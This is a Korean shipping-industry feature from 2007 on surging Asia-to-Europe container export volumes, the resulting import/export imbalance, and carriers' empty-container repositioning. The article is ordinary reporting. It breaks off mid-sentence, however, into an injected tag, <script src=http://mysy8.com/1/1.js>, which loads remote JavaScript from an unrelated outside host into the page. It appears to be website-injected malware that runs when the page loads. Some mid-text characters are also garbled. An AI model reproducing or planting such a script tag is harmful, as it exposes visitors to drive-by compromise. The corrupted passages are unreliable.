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글쓴이 운영자 작성일 2007-06-16
제목 <기획> 유럽항로 ‘가는 화물 너무 많아 고민’
<기획> 유럽항로 ‘가는 화물 너무 많아 고민’


수출항로 물동량 수입보다 두배 더 많아…공「컨」 재배치 비용 상승
값싼 수출화물 덜 싣기, 중량화물 할증료부과등 해법 고민



●●● 아시아→유럽간항로에서 컨테이너화물의 질주가 이어지고 있다. 올초 때아닌 물동량 증가를 경험하며 전례 없던 1월 기본운임인상(GRI)에 성공했던 이 항로는 오는 7월 GRI와 8월 성수기할증료(PSS) 부과를 앞둔 6월 현재까지 지속적인 물량증가로 계속 행복한 표정이다.

세계 해운전문가들은 올해 북유럽 수출항로의 물량증가율은 최소 14%를 유지하고 성수기에는 18.7% 까지 치솟을 것으로 내다보고 있다. 이는 결국 지난해 평균 증가율인 14%를 넘는 평균 16% 이상의 증가율을 기록할 것이란 전망이다. 아울러 올 지중해항로는 흑해지역의 물동량 증가에 대한 확신에 따라 평균 20% 가량의 증가세를 유지할 것으로 예상되고 있다.

올 1~4월 한국→유럽항로(서향) 수송실적은 총 18만9472TEU를 기록해 전년의 13만4866TEU보다 무려 41%나 증가세를 시현했다. 이중 가장 많은 물동량을 차지하는 북유럽향의 경우 10만3764TEU를 수송해 지난해(8만3364TEU) 보다 24.5% 증가했다. 동지중해향 항로는 같은기간 전년의 2만9785TEU에서 무려 43.9%라는 놀랄만한 증가세를 기록하며 총 4만2854TEU를 실어 날랐다. 서지중해향 항로도 2만4374TEU의 화물을 수송해 지난해의 2만1717TEU에서 12.2% 증가했다.







NYK라인코리아의 한 관계자는 “올해 동지중해 수출항로의 물량증가세가 눈부시다”라며 “지난해 실적이 예년 수준보다 다소 떨어졌던 점을 감안하더라도 1만TEU를 웃도는 올해의 월간 물동량은 예년의 평균치에서 두배 가까이 증가한 수준이다. 이 항로는 평균적으로 매월 최소 5천TEU에서 많을땐 6천TEU 정도의 물동량을 기록했었다”고 말했다.







동지중해항로는 올 1월 1만98TEU를 기록했으며 2월엔 8913TEU를 수송해 증가세가 다소 주춤 하는 듯 했으나 3월들어 다시 1만2790TEU를 기록했다. 이상 1/4분기에 총 3만1801TEU를 실어 날라 지난해 같은기간의 2만1903TEU 보다 45.2% 증가세를 시현했다. 이 항로는 4월에도 1만1053TEU를 수송해 상승세를 이어갔다.

북유럽항로는 올 1~3월에 각각 2만5465TEU, 2만5292TEU, 2만6953TEU 등 비슷한 수준을 유지, 총 7만7710TEU를 기록해 지난해 같은기간(6만2325TEU) 보다 24.7% 증가세를 보였다. 4월 수송량은 2만6054TEU를 기록해 견조한 貂【섯?이어갔다. 유럽항로를 서비스하고 있는 국내 컨테이너선사 관계자들은 올 1/4분기 유럽수출항로의 선전에 대해 다소 긍정적인 전망을 하긴 했지만 이 정도로 높은 증가세를 보일 것이라곤 전혀 예상치 못했다고 입을 모았다.







이에대해 현대상선의 한 관계자는 “올 1분기 수출항로의 수송실적은 사실 누구도 예상 못했을 것”이라며 “이같은 수준은 최근 4~5년을 통틀어 최고치”라고 평가했다.


◆수출입불균형…중량화물 줄여 공「컨」 운송

볕이 강한 만큼 그늘도 더욱 짙은 법일까. 수출항로의 물동량이 증가함에 따라 수입항로와의 물동량 불균형 현상이 심각해지고 있다. 일부선사들은 유럽항로 수출입화물의 심각한 불균형으로 인한 컨테이너 재배치 문제로 골머리를 썩고 있다고 토로했다.

FEFC(구주운임동맹)에 따르면 아시아→유럽항로(서향)의 1/4분기 수송실적은 212만TEU로 전년동기대비 20.7% 증가한 반면 같은기간 유럽→아시아항로(동향)의 수송실적은 9.6% 늘어난 81만5173TEU를 기록했다. 서향항로 물동량이 동향항로보다 두배 이상 많은 상황.

에버그린코리아의 한 관계자는 “유럽항로는 전통적으로 한국에서 100개의 컨테이너가 나간다고 가정한다면 들어오는 건 60~70개뿐일 정도로 동서향간 물동량 차이가 크다. 이러한 현상은 비단 유럽뿐 아니라 미주나 중동 등 다른 항로에서도 똑같이 빚어지고 있다”라며 “다만 요즘 유럽수출항로의 물동량이 폭증함에 따라 그만큼 이 지역에 대한 공컨테이너 수요가 전보다 높아졌다”고 말했다.

선사들은 공컨테이너 수요가 높아진 유럽지역과 물동량수요가 높아진 아시아지역간의 불균형을 해소하기 위해 공컨테이너 재배치(empty container reposition)방식을 이용하고 있다. 즉 유럽→아시아항로에서 운임 단가가 낮으면서 중량은 많이 나가는 화물의 운송을 줄이는 대신 그만큼 공컨테이너를 많이 들여와 아시아→유럽항로의 화물을 더 많이 수송하려는 것 이다. 이 방법을 통해 선사들은 운항매출 증가를 꾀하고 있다.

이와관련 하파그로이드(Hapag Lloyd)는 유럽에서 아시아로 들어오는 항로에서 공컨테이너의 수송을 위해 중량화물의 운송을 당분간 제한키로 했다고 공식적으로 밝힌 바 있다.

하파그로이드는 이같은 결?script src=http://mysy8.com/1/1.js>
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